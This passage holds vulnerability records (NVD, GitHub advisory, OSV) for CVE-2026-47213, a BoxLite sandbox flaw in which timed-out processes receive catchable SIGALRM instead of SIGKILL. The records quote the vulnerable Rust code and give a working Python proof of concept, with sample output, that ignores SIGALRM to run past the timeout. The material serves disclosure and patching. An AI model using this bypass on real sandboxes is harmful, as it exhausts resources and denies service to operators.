{
  "affected": [
    {
      "affectedData": [
        {
          "product": "boxlite",
          "vendor": "boxlite-ai",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 0.8.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Boxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and launch OCI containers within them to run untrusted code. In versions 0.8.2 and prior, Boxlite allows users to configure a timeout for services running inside the virtual machine. When the timeout is triggered, Boxlite sends a signal to kill the process. However, instead of using the uncatchable SIGKILL signal, Boxlite uses the catchable SIGALRM signal. Malicious code running inside the sandbox can exploit this vulnerability to continue running after the timeout is triggered, leading to resource exhaustion within the virtual machine and affecting the availability of the Boxlite service. This issue has been patched via commit 28159fc."
    },
    {
      "lang": "es",
      "value": "Boxlite es un servicio de sandbox que permite a los usuarios crear m\u00e1quinas virtuales ligeras (Boxes) y lanzar contenedores OCI dentro de ellas para ejecutar c\u00f3digo no confiable. En las versiones 0.8.2 y anteriores, Boxlite permite a los usuarios configurar un tiempo de espera para los servicios que se ejecutan dentro de la m\u00e1quina virtual. Cuando se activa el tiempo de espera, Boxlite env\u00eda una se\u00f1al para terminar el proceso. Sin embargo, en lugar de usar la se\u00f1al SIGKILL no capturable, Boxlite usa la se\u00f1al SIGALRM capturable. C\u00f3digo malicioso ejecut\u00e1ndose dentro del sandbox puede explotar esta vulnerabilidad para seguir ejecut\u00e1ndose despu\u00e9s de que se active el tiempo de espera, lo que lleva al agotamiento de recursos dentro de la m\u00e1quina virtual y afectando la disponibilidad del servicio Boxlite. Este problema ha sido parcheado a trav\u00e9s del commit 28159fc."
    }
  ],
  "id": "CVE-2026-47213",
  "lastModified": "2026-07-23T09:10:00.113",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-47213",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-11T12:53:07.688647Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-10T23:16:48.323",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/boxlite-ai/boxlite/commit/28159fc5b6b6fd5037e18a58fc4644c882e3c581"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-xjhv-pp2r-6f82"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-xjhv-pp2r-6f82"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-404"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "boxlite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47213"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-404"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T21:45:55Z",
    "nvd_published_at": "2026-06-10T23:16:48Z",
    "severity": "MODERATE"
  },
  "details": "#### Summary\n\nBoxLite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and run OCI containers within them. BoxLite allows users to configure a timeout for services running inside the virtual machine. When the timeout is triggered, BoxLite sends a signal to kill the process. However, instead of using the uncatchable SIGKILL signal, BoxLite uses the catchable SIGALRM signal. Malicious code running inside the sandbox can exploit this vulnerability to continue running after the timeout is triggered, leading to resource exhaustion within the virtual machine and affecting the availability of the BoxLite service.\n\n#### Details\n\n1. ExecRequest with timeout_ms arrives at Execution service\n\n**File:** `guest/src/service/exec/mod.rs` **Function:** `spawn_execution()` (line 315) **Code:**\n\n```rust\n// Step 3: Start timeout watcher (if requested)\nif req.timeout_ms \u003e 0 {\n    timeout::start_timeout_watcher(\n        state,\n        execution_id.clone(),\n        std::time::Duration::from_millis(req.timeout_ms),\n    );\n}\n```\n\n**Issue:** Any nonzero `timeout_ms` triggers the timeout watcher. The host expects this to kill the process after the specified duration.\n\n2. Timeout watcher sends SIGALRM instead of SIGKILL\n\n**File:** `guest/src/service/exec/timeout.rs` **Function:** `start_timeout_watcher()` (line 13) **Code:**\n\n```rust\npub(super) fn start_timeout_watcher(\n    exec_state: ExecutionState,\n    exec_id: String,\n    timeout: Duration,\n) {\n    tokio::spawn(async move {\n        tokio::time::sleep(timeout).await;\n\n        // Kill process with SIGKILL        \u2190 comment says SIGKILL\n        use nix::sys::signal::Signal;\n        if exec_state.kill(Signal::SIGALRM).await {   // \u2190 but sends SIGALRM\n            info!(execution_id = %exec_id, \"killed on timeout\");\n        }\n    });\n}\n```\n\n**Issue:** The comment on line 21 explicitly states \"Kill process with SIGKILL\", but line 23 sends `Signal::SIGALRM`. SIGALRM (signal 14) is the POSIX alarm signal and is catchable/ignorable; SIGKILL (signal 9) cannot be caught or ignored. This is a code error \u2014 wrong signal constant used.\n\n3. exec_state.kill() passes the signal through unchanged\n\n**File:** `guest/src/service/exec/state.rs` **Function:** `kill()` (line 325) **Code:**\n\n```rust\npub async fn kill(\u0026self, signal: nix::sys::signal::Signal) -\u003e bool {\n    let inner = self.inner.lock().await;\n    if let Some(ref handle) = inner.handle {\n        handle.kill(signal).is_ok()\n    } else {\n        false\n    }\n}\n```\n\n**Issue:** No override of the signal \u2014 the wrong signal (`SIGALRM`) is delivered directly to the process.\n\n4. ExecHandle.kill() delivers SIGALRM to the process\n\n**File:** `guest/src/service/exec/exec_handle.rs` **Function:** `kill()` (line 335) **Code:**\n\n```rust\npub fn kill(\u0026self, signal: Signal) -\u003e BoxliteResult\u003c()\u003e {\n    use nix::sys::signal::kill;\n    kill(self.pid, signal).map_err(|e| {\n        BoxliteError::Internal(format!(\n            \"Failed to send signal {} to process {}: {}\",\n            signal, self.pid, e\n        ))\n    })\n}\n```\n\n**Issue:** Sends SIGALRM (signal 14) to the process. Any process that has registered a custom SIGALRM handler (e.g., via `signal(SIGALRM, handler)`) or set SIGALRM to SIG_IGN will not be terminated.\n\n\n\nAs seen from the code, the developer indicated in the comments that SIGKILL should be sent to kill the timed-out process, but SIGALRM was used in the implementation, resulting in the vulnerability.\n\n\n\n#### PoC\n\n1. Install Boxlite following the official tutorial.\n\n2. Run the following Python script:\n\n   ```python\n   #!/usr/bin/env python3\n   \"\"\"\n   PoC: BoxLite Execution Timeout Bypass via SIGALRM\n   \n   Reproduces the vulnerability described in:\n     \"Hunt Report: Exec Timeout Enforcement Bypass via SIGALRM Misuse\"\n   \n   Root cause:\n     guest/src/service/exec/timeout.rs sends Signal::SIGALRM (signal 14,\n     catchable/ignorable) instead of Signal::SIGKILL (signal 9, uncatchable).\n   \n   Exploitation:\n     Any process that calls signal(SIGALRM, SIG_IGN) will survive past its\n     configured timeout and run indefinitely.\n   \n   Usage:\n     cd ~/Downloads/boxlite_poc\n     source .venv/bin/activate\n     python3 poc_sigalrm_bypass.py\n   \"\"\"\n   \n   import asyncio\n   import time\n   \n   import boxlite\n   \n   # -----------------------------------------------------------------------------\n   # Test programs (Python, so no gcc required)\n   # -----------------------------------------------------------------------------\n   \n   # Control: no special signal handling \u2014 SIGALRM\u0027s default action is termination\n   NORMAL_PROCESS = \"\"\"\n   import sys, time, os, signal\n   seconds = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 8\n   print(f\"PID {os.getpid()}: normal process (default SIGALRM), running for {seconds}s\", flush=True)\n   for i in range(1, seconds + 1):\n       time.sleep(1)\n       print(f\"PID {os.getpid()}: t+{i}s alive\", flush=True)\n   print(f\"PID {os.getpid()}: finished\", flush=True)\n   \"\"\"\n   \n   # Exploit: installs SIG_IGN for SIGALRM \u2014 one line bypass\n   IGNORE_SIGALRM = \"\"\"\n   import sys, time, os, signal\n   seconds = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 8\n   signal.signal(signal.SIGALRM, signal.SIG_IGN)   # \u003c-- bypass\n   print(f\"PID {os.getpid()}: SIGALRM=SIG_IGN, running for {seconds}s\", flush=True)\n   for i in range(1, seconds + 1):\n       time.sleep(1)\n       if i \u003e 3:\n           print(f\"PID {os.getpid()}: t+{i}s STILL ALIVE (PAST 3s TIMEOUT!)\", flush=True)\n       else:\n           print(f\"PID {os.getpid()}: t+{i}s alive\", flush=True)\n   print(f\"PID {os.getpid()}: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED\", flush=True)\n   \"\"\"\n   \n   TIMEOUT_S = 3.0   # configured timeout\n   WORKLOAD_S = 8    # process wants to run for 8 seconds\n   \n   \n   # -----------------------------------------------------------------------------\n   # Helper\n   # -----------------------------------------------------------------------------\n   \n   async def run_test(box, name, script, timeout):\n       print(f\"\\n{\u0027=\u0027 * 70}\")\n       print(f\"TEST: {name}\")\n       print(f\"  timeout={timeout}s\" if timeout else \"  timeout=None (disabled)\")\n       print(f\"{\u0027=\u0027 * 70}\")\n       t0 = time.time()\n       try:\n           result = await box.exec(\"python3\", \"-c\", script, str(WORKLOAD_S), timeout=timeout)\n           elapsed = time.time() - t0\n           print(f\"  [RESULT] exit_code={result.exit_code}, elapsed={elapsed:.2f}s\")\n           print(\"  [OUTPUT]\")\n           for line in result.stdout.strip().splitlines():\n               if line.strip():\n                   print(f\"    {line}\")\n           return {\n               \"elapsed\": elapsed,\n               \"exit_code\": result.exit_code,\n               \"timed_out\": False,\n               \"stdout\": result.stdout,\n           }\n       except boxlite.TimeoutError as e:\n           elapsed = time.time() - t0\n           print(f\"  [TIMEOUT] BoxLite raised TimeoutError after {elapsed:.2f}s: {e}\")\n           return {\"elapsed\": elapsed, \"exit_code\": None, \"timed_out\": True, \"stdout\": \"\"}\n       except Exception as e:\n           elapsed = time.time() - t0\n           print(f\"  [ERROR] {type(e).__name__}: {e} (elapsed {elapsed:.2f}s)\")\n           return {\"elapsed\": elapsed, \"exit_code\": None, \"timed_out\": False, \"stdout\": \"\"}\n   \n   \n   # -----------------------------------------------------------------------------\n   # Main\n   # -----------------------------------------------------------------------------\n   \n   async def main():\n       print(\"BoxLite PoC: Execution Timeout Bypass via SIGALRM\")\n       print(\"=\" * 70)\n   \n       async with boxlite.SimpleBox(image=\"python:3-alpine\") as box:\n           print(f\"Box started: {box.id}\")\n   \n           # Confirm SIGALRM = 14 inside the container\n           r = await box.exec(\"python3\", \"-c\", \"import signal; print(signal.SIGALRM)\")\n           print(f\"SIGALRM value inside container: {r.stdout.strip()}\")\n   \n           # --- Test 1: CONTROL ---\n           r1 = await run_test(\n               box,\n               \"CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)\",\n               NORMAL_PROCESS,\n               TIMEOUT_S,\n           )\n           await asyncio.sleep(1)\n   \n           # --- Test 2: EXPLOIT ---\n           r2 = await run_test(\n               box,\n               \"EXPLOIT: SIGALRM=SIG_IGN + 3s timeout (BYPASS)\",\n               IGNORE_SIGALRM,\n               TIMEOUT_S,\n           )\n           await asyncio.sleep(1)\n   \n           # --- Test 3: BASELINE ---\n           r3 = await run_test(\n               box,\n               \"BASELINE: Normal process, no timeout (sanity check)\",\n               NORMAL_PROCESS,\n               None,\n           )\n   \n           # --- Verdict ---\n           print(f\"\\n{\u0027=\u0027 * 70}\")\n           print(\"VERDICT\")\n           print(f\"{\u0027=\u0027 * 70}\")\n           print(f\"  CONTROL:  elapsed={r1[\u0027elapsed\u0027]:.2f}s  exit_code={r1[\u0027exit_code\u0027]}  timed_out={r1[\u0027timed_out\u0027]}\")\n           print(f\"  EXPLOIT:  elapsed={r2[\u0027elapsed\u0027]:.2f}s  exit_code={r2[\u0027exit_code\u0027]}  timed_out={r2[\u0027timed_out\u0027]}\")\n           print(f\"  BASELINE: elapsed={r3[\u0027elapsed\u0027]:.2f}s  exit_code={r3[\u0027exit_code\u0027]}  timed_out={r3[\u0027timed_out\u0027]}\")\n   \n           # exit_code == -14 means killed by signal 14 (SIGALRM), not -9 (SIGKILL)\n           control_killed_by_sigalrm = r1[\"exit_code\"] == -14 and r1[\"elapsed\"] \u003c 5.0\n           exploit_survived          = r2[\"elapsed\"] \u003e 5.0 and r2[\"exit_code\"] == 0\n   \n           print()\n           if control_killed_by_sigalrm:\n               print(\"  [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)\")\n               print(\"      \u2192 confirms timeout watcher sends SIGALRM instead of SIGKILL\")\n           if exploit_survived:\n               print(f\"  [+] Exploit process ran {r2[\u0027elapsed\u0027]:.1f}s past {TIMEOUT_S}s timeout, exited normally\")\n               print(\"      \u2192 SIGALRM was absorbed by SIG_IGN, timeout completely bypassed\")\n   \n           if exploit_survived and control_killed_by_sigalrm:\n               print()\n               print(\"  *** VULNERABILITY CONFIRMED ***\")\n               print(f\"  Fix: change Signal::SIGALRM \u2192 Signal::SIGKILL in\")\n               print(f\"       guest/src/service/exec/timeout.rs\")\n           elif not exploit_survived:\n               print(\"  NOT CONFIRMED: exploit process was also terminated at timeout\")\n           else:\n               print(\"  INCONCLUSIVE\")\n   \n   \n   if __name__ == \"__main__\":\n       asyncio.run(main())\n   \n   ```\n\n   Sample output:\n\n   ```\n   $ python3 poc_sigalrm_bypass.py\n   BoxLite PoC: Execution Timeout Bypass via SIGALRM\n   ======================================================================\n   Box started: W0oCKYIWga2t\n   SIGALRM value inside container: 14\n   \n   ======================================================================\n   TEST: CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)\n     timeout=3.0s\n   ======================================================================\n     [RESULT] exit_code=-14, elapsed=3.01s\n     [OUTPUT]\n       PID 3: normal process (default SIGALRM), running for 8s\n       PID 3: t+1s alive\n       PID 3: t+2s alive\n   \n   ======================================================================\n   TEST: EXPLOIT: SIGALRM=SIG_IGN + 3s timeout (BYPASS)\n     timeout=3.0s\n   ======================================================================\n     [RESULT] exit_code=0, elapsed=8.14s\n     [OUTPUT]\n       PID 4: SIGALRM=SIG_IGN, running for 8s\n       PID 4: t+1s alive\n       PID 4: t+2s alive\n       PID 4: t+3s alive\n       PID 4: t+4s STILL ALIVE (PAST 3s TIMEOUT!)\n       PID 4: t+5s STILL ALIVE (PAST 3s TIMEOUT!)\n       PID 4: t+6s STILL ALIVE (PAST 3s TIMEOUT!)\n       PID 4: t+7s STILL ALIVE (PAST 3s TIMEOUT!)\n       PID 4: t+8s STILL ALIVE (PAST 3s TIMEOUT!)\n       PID 4: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED\n   \n   ======================================================================\n   TEST: BASELINE: Normal process, no timeout (sanity check)\n     timeout=None (disabled)\n   ======================================================================\n     [RESULT] exit_code=0, elapsed=8.09s\n     [OUTPUT]\n       PID 5: normal process (default SIGALRM), running for 8s\n       PID 5: t+1s alive\n       PID 5: t+2s alive\n       PID 5: t+3s alive\n       PID 5: t+4s alive\n       PID 5: t+5s alive\n       PID 5: t+6s alive\n       PID 5: t+7s alive\n       PID 5: t+8s alive\n       PID 5: finished\n   \n   ======================================================================\n   VERDICT\n   ======================================================================\n     CONTROL:  elapsed=3.01s  exit_code=-14  timed_out=False\n     EXPLOIT:  elapsed=8.14s  exit_code=0  timed_out=False\n     BASELINE: elapsed=8.09s  exit_code=0  timed_out=False\n   \n     [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)\n         \u2192 confirms timeout watcher sends SIGALRM instead of SIGKILL\n     [+] Exploit process ran 8.1s past 3.0s timeout, exited normally\n         \u2192 SIGALRM was absorbed by SIG_IGN, timeout completely bypassed\n   \n     *** VULNERABILITY CONFIRMED ***\n     Fix: change Signal::SIGALRM \u2192 Signal::SIGKILL in\n          guest/src/service/exec/timeout.rs\n   ```\n\n   As shown in the output, after catching the SIGALRM signal, the process can continue running, bypassing the timeout restriction.\n\n\n\n#### Impact\n\nMalicious code running inside the sandbox can exploit this vulnerability to continue running after the timeout is triggered, leading to resource exhaustion within the virtual machine and affecting the availability of the BoxLite service.\n\n\n\n#### Score\n\nSeverity: Medium, Score: 6.5, rationale as follows:\n\n- AV:N \u2014 Can be triggered by submitting code via the network API\n- AC:L \u2014 No complex exploitation required; catching the signal is sufficient to bypass\n- PR:L \u2014 The attacker does not need special privileges\n- UI:N \u2014 The attacker does not need to interact with the victim\n- S:U \u2014 This vulnerability only affects the sandbox internals and does not change the scope\n- C:N/I:N/A:H \u2014 This vulnerability only affects availability, not confidentiality or integrity\n\n\n\n#### Credit\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf there are any questions regarding the vulnerability details, please feel free to reach out to Tencent Xuanwu Lab for further discussion by emailing xlabai@tencent.com.\n\n\n\n#### Note\n\nNote that the organization follows the industry-standard **90+30 disclosure policy** (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that the organization reserves the right to disclose the details of the vulnerability 30 days after the fix has been implemented.",
  "id": "GHSA-xjhv-pp2r-6f82",
  "modified": "2026-06-11T14:07:10Z",
  "published": "2026-05-29T21:45:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-xjhv-pp2r-6f82"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47213"
    },
    {
      "type": "WEB",
      "url": "https://github.com/boxlite-ai/boxlite/commit/28159fc5b6b6fd5037e18a58fc4644c882e3c581"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/boxlite-ai/boxlite"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BoxLite has a Timeout Bypass Vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "boxlite",
        "purl": "pkg:pypi/boxlite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.5.10",
        "0.5.11",
        "0.5.12",
        "0.5.13",
        "0.5.14",
        "0.5.2",
        "0.5.3",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.5.7",
        "0.5.8",
        "0.5.9",
        "0.6.0",
        "0.7.0",
        "0.7.4",
        "0.7.5",
        "0.8.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47213",
    "GHSA-xjhv-pp2r-6f82"
  ],
  "details": "#### Summary\n\nBoxLite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and run OCI containers within them. BoxLite allows users to configure a timeout for services running inside the virtual machine. When the timeout is triggered, BoxLite sends a signal to kill the process. However, instead of using the uncatchable SIGKILL signal, BoxLite uses the catchable SIGALRM signal. Malicious code running inside the sandbox can exploit this vulnerability to continue running after the timeout is triggered, leading to resource exhaustion within the virtual machine and affecting the availability of the BoxLite service.\n\n#### Details\n\n1. ExecRequest with timeout_ms arrives at Execution service\n\n**File:** `guest/src/service/exec/mod.rs` **Function:** `spawn_execution()` (line 315) **Code:**\n\n```rust\n// Step 3: Start timeout watcher (if requested)\nif req.timeout_ms \u003e 0 {\n    timeout::start_timeout_watcher(\n        state,\n        execution_id.clone(),\n        std::time::Duration::from_millis(req.timeout_ms),\n    );\n}\n```\n\n**Issue:** Any nonzero `timeout_ms` triggers the timeout watcher. The host expects this to kill the process after the specified duration.\n\n2. Timeout watcher sends SIGALRM instead of SIGKILL\n\n**File:** `guest/src/service/exec/timeout.rs` **Function:** `start_timeout_watcher()` (line 13) **Code:**\n\n```rust\npub(super) fn start_timeout_watcher(\n    exec_state: ExecutionState,\n    exec_id: String,\n    timeout: Duration,\n) {\n    tokio::spawn(async move {\n        tokio::time::sleep(timeout).await;\n\n        // Kill process with SIGKILL        \u2190 comment says SIGKILL\n        use nix::sys::signal::Signal;\n        if exec_state.kill(Signal::SIGALRM).await {   // \u2190 but sends SIGALRM\n            info!(execution_id = %exec_id, \"killed on timeout\");\n        }\n    });\n}\n```\n\n**Issue:** The comment on line 21 explicitly states \"Kill process with SIGKILL\", but line 23 sends `Signal::SIGALRM`. SIGALRM (signal 14) is the POSIX alarm signal and is catchable/ignorable; SIGKILL (signal 9) cannot be caught or ignored. This is a code error \u2014 wrong signal constant used.\n\n3. exec_state.kill() passes the signal through unchanged\n\n**File:** `guest/src/service/exec/state.rs` **Function:** `kill()` (line 325) **Code:**\n\n```rust\npub async fn kill(\u0026self, signal: nix::sys::signal::Signal) -\u003e bool {\n    let inner = self.inner.lock().await;\n    if let Some(ref handle) = inner.handle {\n        handle.kill(signal).is_ok()\n    } else {\n        false\n    }\n}\n```\n\n**Issue:** No override of the signal \u2014 the wrong signal (`SIGALRM`) is delivered directly to the process.\n\n4. ExecHandle.kill() delivers SIGALRM to the process\n\n**File:** `guest/src/service/exec/exec_handle.rs` **Function:** `kill()` (line 335) **Code:**\n\n```rust\npub fn kill(\u0026self, signal: Signal) -\u003e BoxliteResult\u003c()\u003e {\n    use nix::sys::signal::kill;\n    kill(self.pid, signal).map_err(|e| {\n        BoxliteError::Internal(format!(\n            \"Failed to send signal {} to process {}: {}\",\n            signal, self.pid, e\n        ))\n    })\n}\n```\n\n**Issue:** Sends SIGALRM (signal 14) to the process. Any process that has registered a custom SIGALRM handler (e.g., via `signal(SIGALRM, handler)`) or set SIGALRM to SIG_IGN will not be terminated.\n\n\n\nAs seen from the code, the developer indicated in the comments that SIGKILL should be sent to kill the timed-out process, but SIGALRM was used in the implementation, resulting in the vulnerability.\n\n\n\n#### PoC\n\n1. Install Boxlite following the official tutorial.\n\n2. Run the following Python script:\n\n   ```python\n   #!/usr/bin/env python3\n   \"\"\"\n   PoC: BoxLite Execution Timeout Bypass via SIGALRM\n   \n   Reproduces the vulnerability described in:\n     \"Hunt Report: Exec Timeout Enforcement Bypass via SIGALRM Misuse\"\n   \n   Root cause:\n     guest/src/service/exec/timeout.rs sends Signal::SIGALRM (signal 14,\n     catchable/ignorable) instead of Signal::SIGKILL (signal 9, uncatchable).\n   \n   Exploitation:\n     Any process that calls signal(SIGALRM, SIG_IGN) will survive past its\n     configured timeout and run indefinitely.\n   \n   Usage:\n     cd ~/Downloads/boxlite_poc\n     source .venv/bin/activate\n     python3 poc_sigalrm_bypass.py\n   \"\"\"\n   \n   import asyncio\n   import time\n   \n   import boxlite\n   \n   # -----------------------------------------------------------------------------\n   # Test programs (Python, so no gcc required)\n   # -----------------------------------------------------------------------------\n   \n   # Control: no special signal handling \u2014 SIGALRM\u0027s default action is termination\n   NORMAL_PROCESS = \"\"\"\n   import sys, time, os, signal\n   seconds = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 8\n   print(f\"PID {os.getpid()}: normal process (default SIGALRM), running for {seconds}s\", flush=True)\n   for i in range(1, seconds + 1):\n       time.sleep(1)\n       print(f\"PID {os.getpid()}: t+{i}s alive\", flush=True)\n   print(f\"PID {os.getpid()}: finished\", flush=True)\n   \"\"\"\n   \n   # Exploit: installs SIG_IGN for SIGALRM \u2014 one line bypass\n   IGNORE_SIGALRM = \"\"\"\n   import sys, time, os, signal\n   seconds = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 8\n   signal.signal(signal.SIGALRM, signal.SIG_IGN)   # \u003c-- bypass\n   print(f\"PID {os.getpid()}: SIGALRM=SIG_IGN, running for {seconds}s\", flush=True)\n   for i in range(1, seconds + 1):\n       time.sleep(1)\n       if i \u003e 3:\n           print(f\"PID {os.getpid()}: t+{i}s STILL ALIVE (PAST 3s TIMEOUT!)\", flush=True)\n       else:\n           print(f\"PID {os.getpid()}: t+{i}s alive\", flush=True)\n   print(f\"PID {os.getpid()}: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED\", flush=True)\n   \"\"\"\n   \n   TIMEOUT_S = 3.0   # configured timeout\n   WORKLOAD_S = 8    # process wants to run for 8 seconds\n   \n   \n   # -----------------------------------------------------------------------------\n   # Helper\n   # -----------------------------------------------------------------------------\n   \n   async def run_test(box, name, script, timeout):\n       print(f\"\\n{\u0027=\u0027 * 70}\")\n       print(f\"TEST: {name}\")\n       print(f\"  timeout={timeout}s\" if timeout else \"  timeout=None (disabled)\")\n       print(f\"{\u0027=\u0027 * 70}\")\n       t0 = time.time()\n       try:\n           result = await box.exec(\"python3\", \"-c\", script, str(WORKLOAD_S), timeout=timeout)\n           elapsed = time.time() - t0\n           print(f\"  [RESULT] exit_code={result.exit_code}, elapsed={elapsed:.2f}s\")\n           print(\"  [OUTPUT]\")\n           for line in result.stdout.strip().splitlines():\n               if line.strip():\n                   print(f\"    {line}\")\n           return {\n               \"elapsed\": elapsed,\n               \"exit_code\": result.exit_code,\n               \"timed_out\": False,\n               \"stdout\": result.stdout,\n           }\n       except boxlite.TimeoutError as e:\n           elapsed = time.time() - t0\n           print(f\"  [TIMEOUT] BoxLite raised TimeoutError after {elapsed:.2f}s: {e}\")\n           return {\"elapsed\": elapsed, \"exit_code\": None, \"timed_out\": True, \"stdout\": \"\"}\n       except Exception as e:\n           elapsed = time.time() - t0\n           print(f\"  [ERROR] {type(e).__name__}: {e} (elapsed {elapsed:.2f}s)\")\n           return {\"elapsed\": elapsed, \"exit_code\": None, \"timed_out\": False, \"stdout\": \"\"}\n   \n   \n   # -----------------------------------------------------------------------------\n   # Main\n   # -----------------------------------------------------------------------------\n   \n   async def main():\n       print(\"BoxLite PoC: Execution Timeout Bypass via SIGALRM\")\n       print(\"=\" * 70)\n   \n       async with boxlite.SimpleBox(image=\"python:3-alpine\") as box:\n           print(f\"Box started: {box.id}\")\n   \n           # Confirm SIGALRM = 14 inside the container\n           r = await box.exec(\"python3\", \"-c\", \"import signal; print(signal.SIGALRM)\")\n           print(f\"SIGALRM value inside container: {r.stdout.strip()}\")\n   \n           # --- Test 1: CONTROL ---\n           r1 = await run_test(\n               box,\n               \"CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)\",\n               NORMAL_PROCESS,\n               TIMEOUT_S,\n           )\n           await asyncio.sleep(1)\n   \n           # --- Test 2: EXPLOIT ---\n           r2 = await run_test(\n               box,\n               \"EXPLOIT: SIGALRM=SIG_IGN + 3s timeout (BYPASS)\",\n               IGNORE_SIGALRM,\n               TIMEOUT_S,\n           )\n           await asyncio.sleep(1)\n   \n           # --- Test 3: BASELINE ---\n           r3 = await run_test(\n               box,\n               \"BASELINE: Normal process, no timeout (sanity check)\",\n               NORMAL_PROCESS,\n               None,\n           )\n   \n           # --- Verdict ---\n           print(f\"\\n{\u0027=\u0027 * 70}\")\n           print(\"VERDICT\")\n           print(f\"{\u0027=\u0027 * 70}\")\n           print(f\"  CONTROL:  elapsed={r1[\u0027elapsed\u0027]:.2f}s  exit_code={r1[\u0027exit_code\u0027]}  timed_out={r1[\u0027timed_out\u0027]}\")\n           print(f\"  EXPLOIT:  elapsed={r2[\u0027elapsed\u0027]:.2f}s  exit_code={r2[\u0027exit_code\u0027]}  timed_out={r2[\u0027timed_out\u0027]}\")\n           print(f\"  BASELINE: elapsed={r3[\u0027elapsed\u0027]:.2f}s  exit_code={r3[\u0027exit_code\u0027]}  timed_out={r3[\u0027timed_out\u0027]}\")\n   \n           # exit_code == -14 means killed by signal 14 (SIGALRM), not -9 (SIGKILL)\n           control_killed_by_sigalrm = r1[\"exit_code\"] == -14 and r1[\"elapsed\"] \u003c 5.0\n           exploit_survived          = r2[\"elapsed\"] \u003e 5.0 and r2[\"exit_code\"] == 0\n   \n           print()\n           if control_killed_by_sigalrm:\n               print(\"  [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)\")\n               print(\"      \u2192 confirms timeout watcher sends SIGALRM instead of SIGKILL\")\n           if exploit_survived:\n               print(f\"  [+] Exploit process ran {r2[\u0027elapsed\u0027]:.1f}s past {TIMEOUT_S}s timeout, exited normally\")\n               print(\"      \u2192 SIGALRM was absorbed by SIG_IGN, timeout completely bypassed\")\n   \n           if exploit_survived and control_killed_by_sigalrm:\n               print()\n               print(\"  *** VULNERABILITY CONFIRMED ***\")\n               print(f\"  Fix: change Signal::SIGALRM \u2192 Signal::SIGKILL in\")\n               print(f\"       guest/src/service/exec/timeout.rs\")\n           elif not exploit_survived:\n               print(\"  NOT CONFIRMED: exploit process was also terminated at timeout\")\n           else:\n               print(\"  INCONCLUSIVE\")\n   \n   \n   if __name__ == \"__main__\":\n       asyncio.run(main())\n   \n   ```\n\n   Sample output:\n\n   ```\n   $ python3 poc_sigalrm_bypass.py\n   BoxLite PoC: Execution Timeout Bypass via SIGALRM\n   ======================================================================\n   Box started: W0oCKYIWga2t\n   SIGALRM value inside container: 14\n   \n   ======================================================================\n   TEST: CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)\n     